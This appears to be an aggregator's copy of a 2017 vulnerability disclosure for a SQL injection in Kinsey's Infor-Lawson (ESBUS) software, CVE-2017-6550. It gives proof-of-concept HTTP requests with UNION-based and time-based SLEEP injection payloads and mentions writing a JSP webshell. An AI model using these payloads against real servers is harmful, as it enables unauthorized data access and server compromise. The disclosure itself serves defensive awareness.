Kinsey's Infor-Lawson SQL Injection
🗓️ 10 Mar 2017 00:00:00Reported by Michael BenichType 
packetstorm🔗 packetstormsecurity.com👁 54 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | Kinsey Infor / Lawson / ESBUS - SQL Injection Vulnerability | 11 Mar 201700:00 | – | zdt |
 | Multiple SQL Injection Vulnerabilities in Kinsey Infor-Lawson | 16 Mar 201700:00 | – | cnvd |
 | CVE-2017-6550 | 20 Mar 201716:00 | – | cve |
 | CVE-2017-6550 | 20 Mar 201716:00 | – | cvelist |
 | Kinsey Infor/Lawson / ESBUS - SQL Injection | 10 Mar 201700:00 | – | exploitdb |
 | EUVD-2017-15606 | 7 Oct 202500:30 | – | euvd |
 | Kinsey InforLawson ESBUS - SQL Injection | 10 Mar 201700:00 | – | exploitpack |
 | CVE-2017-6550 | 20 Mar 201716:59 | – | nvd |
 | Sql injection | 20 Mar 201716:59 | – | prion |
 | CVE-2017-6550: Improper Neutralization of Special Elements used in an SQL Command | 20 Mar 201700:00 | – | rapid7 |
`Summary: Kinsey's Infor-Lawson application (formerly ESBUS) is vulnerable to SQL injection in at least two parameters:
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Vendor: Kinsey
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Software Link: [](https://c4b.epson-biz.com/modules/community/index.php?content_id=50)http://www.kinsey.com/infor-lawson.html
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Identifier: CVE-2017-6550
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Tested on: Windows Server 2008 R2; MySQL ver 5.5
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Exploit Author: Michael Benich
Contact: benichmt1 [at] protonmail.com or @benichmt1
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PoC:
1) TABLE parameter, PoC below
GET /esbus/servlet/GetSQLData?SCHEMA=ESBUS_INTERNAL&TABLE=SCHEDULEDTASKS UNION ALL SELECT <<ATTACKER INPUT>>&FIELD=LASTRUN&NOHEADER=1&SELECT=CLASS=com.esbus.appliance.SOD_PolicyCheck_SystemRun_TimerTask&OUT=XML HTTP/1.1
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2) Query POST parameter
POST /KK_LS9ReportingPortal/GetData?SERVERID=%27;LSF_PROD& HTTP/1.1
<--snip--http headers-->
QUERY=1 AND SLEEP(5) AND ('foo'='foo')) &OUT=TAB
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A JSP webshell can then be written to the /esbus/ directory.
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Timeline:
12/1/2016 - Discovery. Contacted generic security emails
12/1/2016 - Received response from vendor ("Thanks for the info...")
2/27/2017 - Followed up with contact and intent to disclose. No reply.
3/10/2017 - Disclosure
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`
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10 Mar 2017 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.03974